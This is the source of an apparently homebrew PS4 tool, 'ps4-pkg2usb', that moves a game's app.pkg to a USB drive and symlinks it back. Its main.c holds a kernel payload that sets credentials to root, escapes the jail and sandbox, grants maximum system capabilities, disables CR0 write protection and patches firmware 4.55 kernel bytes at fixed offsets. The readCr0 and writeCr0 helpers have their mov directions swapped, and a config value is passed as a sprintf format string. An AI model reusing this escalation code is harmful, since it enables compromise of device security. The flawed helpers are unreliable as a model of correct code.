 88 |         if (out)
 89 |         {
 90 |             size_t bytes, bytes_size, bytes_copied = 0;
 91 | 
 92 |             char *buffer = malloc(BUFFER_SIZE);
 93 | 
 94 |             if (buffer != NULL)
 95 |             {
 96 |                 fseek(src, 0L, SEEK_END);
 97 |                 bytes_size = ftell(src);
 98 |                 fseek(src, 0L, SEEK_SET);
 99 | 
100 |                 while (0 < (bytes = fread(buffer, 1, BUFFER_SIZE, src))) {
101 |                     fwrite(buffer, 1, bytes, out);
102 |                     bytes_copied += bytes;
103 | 
104 |                     if (bytes_copied > bytes_size) bytes_copied = bytes_size;
105 |                     sprintf(notify_buf, "Copying %u%% completed...\n", bytes_copied * 100 / bytes_size);
106 |                     //printfsocket(msg);
107 |                 }
108 |                 free(buffer);
109 |             }
110 |             fclose(out);
111 |         }
112 |         else {
113 |             sprintf(msg,"write %s err : %s\n", destfile, strerror(errno));
114 |             printfsocket(msg);
115 |             //notify(msg);
116 |         }
117 |         fclose(src);
118 |     }
119 |     else {
120 |         sprintf(msg,"write %s err : %s\n", destfile, strerror(errno));
121 |         printfsocket(msg);
122 |         //notify(msg);
123 |     }
124 | }
125 | 
126 | void link_pkg(char *title_id, char *usb_path)
127 | {
128 |     char app_pkg[64];
129 |     char app_pkg_usb_root_path[64];
130 |     char app_pkg_hdd_base_path[64];
131 |     char app_pkg_usb_base_path[64];
132 |     char app_pkg_hdd_path[64];
133 |     char app_pkg_usb_path[64];
134 |     char msg[512];
135 | 
136 |     sprintf(app_pkg, "app.pkg");
137 |     sprintf(app_pkg_usb_root_path, "%s/PS4", usb_path);
138 |     sprintf(app_pkg_hdd_base_path, "/user/app/%s", title_id);
139 |     sprintf(app_pkg_usb_base_path, "%s/%s", app_pkg_usb_root_path, title_id);
140 | 
141 |     sprintf(app_pkg_hdd_path, "%s/%s", app_pkg_hdd_base_path, app_pkg);
142 |     sprintf(app_pkg_usb_path, "%s/%s", app_pkg_usb_base_path, app_pkg);
143 | 
144 |     sprintf(msg, "Checking app.pkg in %s...\n", app_pkg_hdd_path);
145 |     printfsocket(msg);
146 | 
147 | #ifndef DEBUG_SOCKET
148 |     notify(msg);
149 |     sceKernelSleep(5);
150 | #endif
151 | 
152 |     if (!file_exists(app_pkg_hdd_path)) {
153 |         sprintf(msg, "Error: app.pkg in %s not found!\n", app_pkg_hdd_path);
154 |         printfsocket(msg);
155 | 
156 | #ifndef DEBUG_SOCKET
157 |         notify(msg);
158 |         sceKernelSleep(5);
159 | #endif
160 |         return;
161 |     }
162 | 
163 |     if (symlink_exists(app_pkg_hdd_path)) {
164 |         sprintf(msg, "Error: app.pkg in %s is yet moved!\n", app_pkg_hdd_base_path);
165 |         printfsocket(msg);
166 | 
167 | #ifndef DEBUG_SOCKET
168 |         notify(msg);
169 |         sceKernelSleep(5);
170 | #endif
171 |         return;
172 |     }
173 | 
174 |     if (isfpkg(app_pkg_hdd_path) != 0) {
175 |         sprintf(msg, "Error: %s is not a valid fpkg!\n", app_pkg_hdd_path);
176 |         printfsocket(msg);
177 | 
178 | #ifndef DEBUG_SOCKET
179 |         notify(msg);
180 |         sceKernelSleep(5);
181 | #endif
182 |         return;
183 |     }
184 |     
185 |     sprintf(msg, "Checking app.pkg in %s ...\n", app_pkg_usb_path);
186 |     printfsocket(msg);
187 | 
188 |     if (!file_exists(app_pkg_usb_root_path)) {
189 |         sprintf(msg, "Creating root folder %s ...\n", app_pkg_usb_root_path);
190 |         printfsocket(msg);
191 | 
192 |         mkdir(app_pkg_usb_root_path, 0777);
193 |     }
194 | 
195 |     if (file_exists(app_pkg_usb_path)) {
196 |         sprintf(msg, "App found in %s\n", app_pkg_usb_path);
197 |         printfsocket(msg);
198 | 
199 |         if (!file_compare(app_pkg_hdd_path, app_pkg_usb_path)) {
200 |             sprintf(msg, "%s and %s are different!\n", app_pkg_hdd_path, app_pkg_usb_path);
201 |             printfsocket(msg);
202 | 
203 | #ifndef DEBUG_SOCKET
204 |             notify(msg);
205 |             sceKernelSleep(5);
206 | #endif
207 |             return;
208 |         }
209 |     } else {
210 |         sprintf(msg, "App not found in %s\n", app_pkg_usb_path);
211 |         printfsocket(msg);
212 |         //notify(msg);
213 | 
214 |         if (!dir_exists(app_pkg_usb_base_path)) {
215 |             sprintf(msg, "Creating %s ...\n", app_pkg_usb_base_path);
216 |             printfsocket(msg);
217 | 
218 |             mkdir(app_pkg_usb_base_path, 0777);
219 |         }
220 | 
221 |         sprintf(msg, "Copying app.pkg from %s to %s ...\n", app_pkg_hdd_path, app_pkg_usb_path);
222 |         printfsocket(msg);
223 | 
224 | #ifndef DEBUG_SOCKET
225 |         notify(msg);
226 |         sceKernelSleep(5);
227 | #endif
228 | 
229 |         copy_file(app_pkg_hdd_path, app_pkg_usb_path);
230 | 
231 |         sprintf(msg, "Copying completed!\n");
232 |         printfsocket(msg);
233 | 
234 | #ifndef DEBUG_SOCKET
235 |         notify(msg);
236 |         sceKernelSleep(5);
237 | #endif
238 | 
239 |         if (!file_compare(app_pkg_hdd_path, app_pkg_usb_path)) {
240 |             sprintf(msg, "%s and %s are different!\n", app_pkg_hdd_path, app_pkg_usb_path);
241 |             printfsocket(msg);
242 | 
243 | #ifndef DEBUG_SOCKET
244 |             notify(msg);
245 |             sceKernelSleep(5);
246 | #endif
247 |             return;
248 |         }
249 |     }
250 | 
251 |     unlink(app_pkg_hdd_path);
252 | 
253 |     sprintf(msg, "Removing %s completed!\n", app_pkg_hdd_path);
254 |     printfsocket(msg);
255 | 
256 |     int link = symlink(app_pkg_usb_path, app_pkg_hdd_path);
257 | 
258 | #ifdef DEBUG_SOCKET
259 |     if (link != -1) {
260 |         sprintf(msg, "Linking %s to %s completed!\n", app_pkg_hdd_path, app_pkg_usb_path);
261 |     } else {
262 |         sprintf(msg, "Linking %s to %s failed!\n", app_pkg_hdd_path, app_pkg_usb_path);
263 |     }
264 |     printfsocket(msg);
265 | #endif
266 | 
267 |     if (file_exists(app_pkg_hdd_path)) {
268 |         sprintf(msg, "Checking app.pkg in %s successed!\n", app_pkg_hdd_path);
269 |         printfsocket(msg);
270 | 
271 | #ifndef DEBUG_SOCKET
272 |         notify(msg);
273 |         sceKernelSleep(5);
274 | #endif
275 |     }
276 | }


--------------------------------------------------------------------------------
/source/main.c:
--------------------------------------------------------------------------------
  1 | #include "ps4.h"
  2 | #include "defines.h"
  3 | #include "main.h"
  4 | #include "debug.h"
  5 | #include "utils.h"
  6 | #include "cfg.h"
  7 | #include "link.h"
  8 | 
  9 | int nthread_run;
 10 | 
 11 | configuration config;
 12 | 
 13 | unsigned int long long __readmsr(unsigned long __register) {
 14 | 	unsigned long __edx;
 15 | 	unsigned long __eax;
 16 | 	__asm__ ("rdmsr" : "=d"(__edx), "=a"(__eax) : "c"(__register));
 17 | 	return (((unsigned int long long)__edx) << 32) | (unsigned int long long)__eax;
 18 | }
 19 | 
 20 | #define X86_CR0_WP (1 << 16)
 21 | 
 22 | static inline __attribute__((always_inline)) uint64_t readCr0(void) {
 23 | 	uint64_t cr0;
 24 | 	
 25 | 	asm volatile (
 26 | 		"movq %0, %%cr0"
 27 | 		: "=r" (cr0)
 28 | 		: : "memory"
 29 |  	);
 30 | 	
 31 | 	return cr0;
 32 | }
 33 | 
 34 | static inline __attribute__((always_inline)) void writeCr0(uint64_t cr0) {
 35 | 	asm volatile (
 36 | 		"movq %%cr0, %0"
 37 | 		: : "r" (cr0)
 38 | 		: "memory"
 39 | 	);
 40 | }
 41 | 
 42 | struct auditinfo_addr {
 43 |     char useless[184];
 44 | };
 45 | 
 46 | struct ucred {
 47 | 	uint32_t useless1;
 48 | 	uint32_t cr_uid;     // effective user id
 49 | 	uint32_t cr_ruid;    // real user id
 50 |  	uint32_t useless2;
 51 |     uint32_t useless3;
 52 |     uint32_t cr_rgid;    // real group id
 53 |     uint32_t useless4;
 54 |     void *useless5;
 55 |     void *useless6;
 56 |     void *cr_prison;     // jail(2)
 57 |     void *useless7;
 58 |     uint32_t useless8;
 59 |     void *useless9[2];
 60 |     void *useless10;
 61 |     struct auditinfo_addr useless11;
 62 |     uint32_t *cr_groups; // groups
 63 |     uint32_t useless12;
 64 | };
 65 | 
 66 | struct filedesc {
 67 | 	void *useless1[3];
 68 |     void *fd_rdir;
 69 |     void *fd_jdir;
 70 | };
 71 | 
 72 | struct proc {
 73 |     char useless[64];
 74 |     struct ucred *p_ucred;
 75 |     struct filedesc *p_fd;
 76 | };
 77 | 
 78 | struct thread {
 79 |     void *useless;
 80 |     struct proc *td_proc;
 81 | };
 82 | 
 83 | #define	KERN_XFAST_SYSCALL	0x3095D0	// 4.55
 84 | #define KERN_PRISON_0		0x10399B0
 85 | #define KERN_ROOTVNODE		0x21AFA30
 86 | 
 87 | int kpayload(struct thread *td){
 88 | 
 89 | 	struct ucred* cred;
 90 | 	struct filedesc* fd;
 91 | 
 92 | 	fd = td->td_proc->p_fd;
 93 | 	cred = td->td_proc->p_ucred;
 94 | 
 95 |     void* kernel_base = &((uint8_t*)__readmsr(0xC0000082))[-KERN_XFAST_SYSCALL];
 96 |     uint8_t* kernel_ptr = (uint8_t*)kernel_base;
 97 |     void** got_prison0 =   (void**)&kernel_ptr[KERN_PRISON_0];
 98 |     void** got_rootvnode = (void**)&kernel_ptr[KERN_ROOTVNODE];
 99 | 
100 | 	cred->cr_uid = 0;
101 | 	cred->cr_ruid = 0;
102 | 	cred->cr_rgid = 0;
103 | 	cred->cr_groups[0] = 0;
104 | 
105 | 	cred->cr_prison = *got_prison0;
106 | 	fd->fd_rdir = fd->fd_jdir = *got_rootvnode;
107 | 
108 | 	// escalate ucred privs, needed for access to the filesystem ie* mounting & decrypting files
109 | 	void *td_ucred = *(void **)(((char *)td) + 304); // p_ucred == td_ucred
110 | 	
111 | 	// sceSblACMgrIsSystemUcred
112 | 	uint64_t *sonyCred = (uint64_t *)(((char *)td_ucred) + 96);
113 | 	*sonyCred = 0xffffffffffffffff;
114 | 	
115 | 	// sceSblACMgrGetDeviceAccessType
116 | 	uint64_t *sceProcType = (uint64_t *)(((char *)td_ucred) + 88);
117 | 	*sceProcType = 0x3801000000000013; // Max access
118 | 	
119 | 	// sceSblACMgrHasSceProcessCapability
120 | 	uint64_t *sceProcCap = (uint64_t *)(((char *)td_ucred) + 104);
121 | 	*sceProcCap = 0xffffffffffffffff; // Sce Process
122 | 
123 | 	// Disable write protection
124 | 	uint64_t cr0 = readCr0();
125 | 	writeCr0(cr0 & ~X86_CR0_WP);
126 | 
127 |     // debug settings patchs
128 |     *(char *)(kernel_base + 0x1B6D086) |= 0x14;
129 |     *(char *)(kernel_base + 0x1B6D0A9) |= 3;
130 |     *(char *)(kernel_base + 0x1B6D0AA) |= 1;
131 |     *(char *)(kernel_base + 0x1B6D0C8) |= 1;
132 | 
133 |     // debug menu full patches
134 |     *(uint32_t *)(kernel_base + 0x4D70F7) = 0;
135 |     *(uint32_t *)(kernel_base + 0x4D7F81) = 0;
136 | 
137 |     // enable mmap of all SELF
138 |     *(uint8_t*)(kernel_base + 0x143BF2) = 0x90;
139 |     *(uint8_t*)(kernel_base + 0x143BF3) = 0xE9;
140 |     *(uint8_t*)(kernel_base + 0x143E0E) = 0x90;
141 |     *(uint8_t*)(kernel_base + 0x143E0F) = 0x90;
142 | 
143 | 	// Restore write protection
144 | 	writeCr0(cr0);
145 | 
146 | 	return 0;
147 | }
148 | 
149 | void *nthread_func(void *arg)
150 | {
151 |     time_t t1 = 0, t2;
152 | 
153 | 	while (nthread_run)
154 | 	{
155 | 		if (notify_buf[0])
156 | 		{
157 | 			t2 = time(NULL);
158 | 			if ((t2 - t1) >= config.notify)
159 | 			{
160 | 				t1 = t2;
161 | 				notify(notify_buf);
162 |                 printfsocket(notify_buf);
163 | 			}
164 | 		}
165 | 		else t1 = 0;
166 | 		sceKernelSleep(1);
167 | 	}
168 | 
169 | 	return NULL;
170 | }
171 | 
172 | 
173 | 
174 | static int config_handler(void* user, const char* name, const char* value)
175 | {
176 |     configuration* pconfig = (configuration*)user;
177 | 
178 |     #define MATCH(n) strcmp(name, n) == 0
179 | 	if (MATCH("title_id")) {
180 | 		pconfig->title_id = chop(strdup(value));
181 | 	} else
182 |     if (MATCH("copy")) {
183 |         pconfig->copy = atoi(value);
184 |     } else
185 |     if (MATCH("notify")) {
186 |         pconfig->notify = atoi(value);
187 |     } else
188 |     if (MATCH("shutdown")) {
189 |         pconfig->shutdown = atoi(value);
190 |     };
191 | 
192 |     return 1;
193 | }
194 | 
195 | int _main(struct thread *td)
196 | {
197 | 	char title_id[64];
198 | 	char usb_name[64];
199 | 	char usb_path[64];
200 | 	char cfg_path[64];
201 | 	char msg[64];
202 | 	//int progress;
203 | 
204 | 	// Init and resolve libraries
205 | 	initKernel();
206 | 	initLibc();
207 | 	initPthread();
208 | 
209 | #ifdef DEBUG_SOCKET
210 | 	initNetwork();
211 | 	initDebugSocket();
212 | #endif
213 | 
214 | 	// patch some things in the kernel (sandbox, prison, debug settings etc..)
215 | 	syscall(11,kpayload,td);
216 | 
217 | 	initSysUtil();
218 | 
219 | 	config.title_id = "";
220 |     config.copy     = 1;
221 | 	//config.split    = 0;
222 | 	config.notify   = 60;
223 | 	config.shutdown = 0;
224 | 
225 | 	nthread_run = 1;
226 | 	notify_buf[0] = '\0';
227 | 	ScePthread nthread;
228 | 	scePthreadCreate(&nthread, NULL, nthread_func, NULL, "nthread");
229 | 
230 | 	notify("Welcome to ps4-pkg2usb v"VERSION);
231 | 	sceKernelSleep(5);
232 | 
233 |     if (!wait_for_usb(usb_name, usb_path))
234 |     {
235 |         sprintf(notify_buf, "Waiting for USB disk...");
236 |         do {
237 |             sceKernelSleep(1);
238 |         }
239 |         while (!wait_for_usb(usb_name, usb_path));
240 |         notify_buf[0] = '\0';
241 |     }
242 | 
243 |     sprintf(cfg_path, "%s/%s", usb_path, CONFIG_FILE);
244 | 
245 |     if (!file_exists(cfg_path)) {
246 |         sprintf(msg, "Error: %s is missing!", CONFIG_FILE);
247 |         notify(msg);
248 |         return -1;
249 |     }
250 | 
251 | 	cfg_parse(cfg_path, config_handler, &config);
252 | 
253 | 	sprintf(title_id, config.title_id);
254 | 
255 | 	if (strlen(title_id) == 0) {
256 | 		sprintf(msg, "Error: title_id is missing in config!");
257 | 		notify(msg);
258 | 		return -1;
259 | 	}
260 | 
261 | 	link_pkg(title_id, usb_path);
262 | 
263 | 	nthread_run = 0;
264 | 
265 | 	printfsocket("Bye!\n\n");
266 | 
267 | #ifdef DEBUG_SOCKET
268 | 	closeDebugSocket();
269 | #endif
270 | 
271 | 	// Reboot PS4
272 | 	if (config.shutdown)
273 | 	{
274 | 		int evf = syscall(540, "SceSysCoreReboot");
275 | 		syscall(546, evf, 0x4000, 0);
276 | 		syscall(541, evf);
277 | 		syscall(37, 1, 30);
278 | 	}
279 | 
280 | 	return 0;
281 | }
282 | 


--------------------------------------------------------------------------------
/source/pkg.c:
--------------------------------------------------------------------------------
 1 | // Copyright (C) 2013       Hykem 
 2 | // Licensed under the terms of the GNU GPL, version 2
 3 | // http://www.gnu.org/licenses/gpl-2.0.txt
 4 | 
 5 | #include "ps4.h"
 6 | #include "defines.h"
 7 | #include "debug.h"
 8 | #include "pkg.h"
 9 | 
10 | #define EOF '\00'
11 | 
12 | // Helper functions.
13 | static inline uint16_t bswap_16(uint16_t val)
14 | {
15 |   return ((val & (uint16_t)0x00ffU) << 8)
16 |     | ((val & (uint16_t)0xff00U) >> 8);
17 | }
18 | 
19 | static inline uint32_t bswap_32(uint32_t val)
20 | {
21 |   return ((val & (uint32_t)0x000000ffUL) << 24)
22 |     | ((val & (uint32_t)0x0000ff00UL) <<  8)
23 |     | ((val & (uint32_t)0x00ff0000UL) >>  8)
24 |     | ((val & (uint32_t)0xff000000UL) >> 24);
25 | }
26 | 
27 | int isfpkg(char *pkgfn) {
28 |     int result = 0;
29 | 
30 |     FILE *in = NULL;
31 |     struct cnt_pkg_main_header m_header;
32 |     struct cnt_pkg_content_header c_header;
33 |     memset(&m_header, 0, sizeof(struct cnt_pkg_main_header));
34 |     memset(&c_header, 0, sizeof(struct cnt_pkg_content_header));
35 | 
36 |     if ((in = fopen(pkgfn, "rb")) == NULL)
37 |     {
38 |         //printfsocket("File not found!\n");
39 |         result = 1;
40 |         goto exit;
41 |     }
42 | 
43 |     fseek(in, 0, SEEK_SET);
44 |     fread(&m_header, 1,  0x180, in);
45 | 
46 |     if (m_header.magic != PS4_PKG_MAGIC)
47 |     {
48 |         //printfsocket("Invalid PS4 PKG Magic file!\n");
49 |         result = 2;
50 |         goto exit;
51 |     }
52 | 
53 |     if (bswap_32(m_header.type) != 1)
54 |     {
55 |         //printfsocket("Invalid PS4 PKG Type file!\n");
56 |         result = 3;
57 |         goto exit;
58 |     }
59 | 
60 |     /*
61 |     printfsocket("PS4 PKG header:\n");
62 |     printfsocket("- PKG magic: 0x%X\n", bswap_32(m_header.magic));
63 |     printfsocket("- PKG type: 0x%X\n", bswap_32(m_header.type));
64 |     printfsocket("- PKG table entries: %d\n", bswap_16(m_header.table_entries_num));
65 |     printfsocket("- PKG system entries: %d\n", bswap_16(m_header.system_entries_num));
66 |     printfsocket("- PKG table offset: 0x%X\n", bswap_32(m_header.file_table_offset));
67 |     printfsocket("\n");
68 |     */
69 | 
70 |     exit:
71 |     fclose(in);
72 | 
73 |     return result;
74 | }


--------------------------------------------------------------------------------
/source/utils.c:
--------------------------------------------------------------------------------
  1 | #include "ps4.h"
  2 | #include "defines.h"
  3 | #include "debug.h"
  4 | #include "utils.h"
  5 | #include "main.h"
  6 | #include "elf64.h"
  7 | #include "pkg.h"
  8 | 
  9 | #define TRUE 1
 10 | #define FALSE 0
 11 | 
 12 | #define BUFFER_SIZE 65536
 13 | 
 14 | extern int run;
 15 | 
 16 | int symlink(const char *pathname, const char *slink) {
 17 |     return syscall(57, pathname, slink);
 18 | }
 19 | 
 20 | int symlinkat(const char *pathname, int newdirfd, const char *slink) {
 21 |     return syscall(502, pathname, newdirfd, slink);
 22 | }
 23 | 
 24 | int lstat(const char *pathname, struct stat *buf) {
 25 |     return syscall(190, pathname, buf); //40 old syscall
 26 | }
 27 | 
 28 | int wait_for_usb(char *usb_name, char *usb_path)
 29 | {
 30 |     FILE *out = fopen("/mnt/usb0/.probe", "wb");
 31 |     if (!out)
 32 |     {
 33 |         out = fopen("/mnt/usb1/.probe", "wb");
 34 |         if (!out)
 35 |         {
 36 |             return 0;
 37 |         }
 38 |         else
 39 |         {
 40 |             unlink("/mnt/usb1/.probe");
 41 |             sprintf(usb_name, "%s", "USB1");
 42 |             sprintf(usb_path, "%s", "/mnt/usb1");
 43 |         }
 44 |     }
 45 |     else
 46 |     {
 47 |         unlink("/mnt/usb0/.probe");
 48 |         sprintf(usb_name, "%s", "USB0");
 49 |         sprintf(usb_path, "%s", "/mnt/usb0");
 50 |     }
 51 |     fclose(out);
 52 | 
 53 |     return 1;
 54 | }
 55 | 
 56 | off_t file_size(const char *filename) {
 57 |     struct stat st;
 58 | 
 59 |     if (stat(filename, &st) == 0)
 60 |         return st.st_size;
 61 | 
 62 |     return -1;
 63 | }
 64 | 
 65 | int file_exists(char *fname)
 66 | {
 67 |     FILE *file = fopen(fname, "rb");
 68 |     if (file)
 69 |     {
 70 |         fclose(file);
 71 |         return 1;
 72 |     }
 73 |     return 0;
 74 | }
 75 | 
 76 | int dir_exists(char *dname)
 77 | {
 78 |     DIR *dir = opendir(dname);
 79 | 
 80 |     if (dir)
 81 |     {
 82 |         /* Directory exists. */
 83 |         closedir(dir);
 84 |         return 1;
 85 |     }
 86 |     return 0;
 87 | }
 88 | 
 89 | int symlink_exists(const char* fname)
 90 | {
 91 |     struct stat statbuf;
 92 | 
 93 |     if (lstat(fname, &statbuf) < 0) {
 94 |         //error occured
 95 |         return -1;
 96 |     }
 97 | 
 98 |     if (S_ISLNK(statbuf.st_mode) == 1) {
 99 |         //symbolic link;
100 |         return 1;
101 |     } else {
102 |         //NOT a symbolic link;
103 |         return 0;
104 |     }
105 | }
106 | 
107 | char* chop(char *string)
108 | {
109 |     char *ptr;
110 | 
111 |     ptr = strrchr(string, '\r');
112 |     if (ptr) *ptr = '\0';
113 | 
114 |     ptr = strrchr(string, '\n');
115 |     if (ptr) *ptr = '\0';
116 | 
117 |     return string;
118 | }
119 | 
120 | /*
121 | void _mkdir(const char *dir)
122 | {
123 |     char tmp[256];
124 |     char *p = NULL;
125 | 
126 |     snprintf(tmp, sizeof(tmp), "%s", dir);
127 |     for (p = tmp + 1; *p; p++)
128 |     {
129 |         if (*p == '/')
130 |         {
131 |             *p = 0;
132 |             mkdir(tmp, 0777);
133 |             *p = '/';
134 |         }
135 |     }
136 | }
137 | 
138 | char *read_string(FILE* f)
139 | {
140 |     char *string = malloc(sizeof(char) * 256);
141 |     int c;
142 |     int length = 0;
143 |     if (!string) return string;
144 |     while((c = fgetc(f)) != EOF)
145 |     {
146 |         string[length++] = c;
147 |     }
148 |     string[length++] = '\0';
149 | 
150 |     return realloc(string, sizeof(char) * length);
151 | }
152 | 
153 | static inline int fgetc(FILE *fp)
154 | {
155 |   char c;
156 | 
157 |   if (fread(&c, 1, 1, fp) == 0)
158 |     return (EOF);
159 |   return (c);
160 | }
161 | */


--------------------------------------------------------------------------------
/tool/Makefile:
--------------------------------------------------------------------------------
 1 | all: bin2js
 2 | 
 3 | bin2js: bin2js.c
 4 | 	gcc -o bin2js bin2js.c
 5 | 
 6 | .PHONY: clean
 7 | 
 8 | clean:
 9 | 	rm bin2js
10 | 


--------------------------------------------------------------------------------
/tool/bin2js.c:
--------------------------------------------------------------------------------
 1 | #include 
 2 | #include 
 3 | #include 
 4 | #include 
 5 | #include 
 6 | 
 7 | int main(int argc, char** argv)
 8 | {
 9 |   assert(argc == 2);
10 |   char* fn = argv[1];
11 |   FILE* f = fopen(fn, "r");
12 |   fseek(f, 0, SEEK_END);
13 |   int l = ftell(f);
14 |   int ll = (l + 3) / 4;
15 |   fseek(f, 0, SEEK_SET);
16 |   char *b = malloc(ll * 4);
17 |   memset(b, 0, ll * 4);
18 |   fread(b, l, 1, f);
19 |   fclose(f);
20 |   uint32_t *u = (uint32_t *)b;
21 |   printf("var payload = [");
22 |   for (int i = 0; i < ll; i++)
23 |   {
24 |     printf("%u", *u++);
25 |     if (i < (ll - 1)) printf(",");
26 |   }
27 |   printf("];\n");
28 |   free(b);
29 | }
30 | 


--------------------------------------------------------------------------------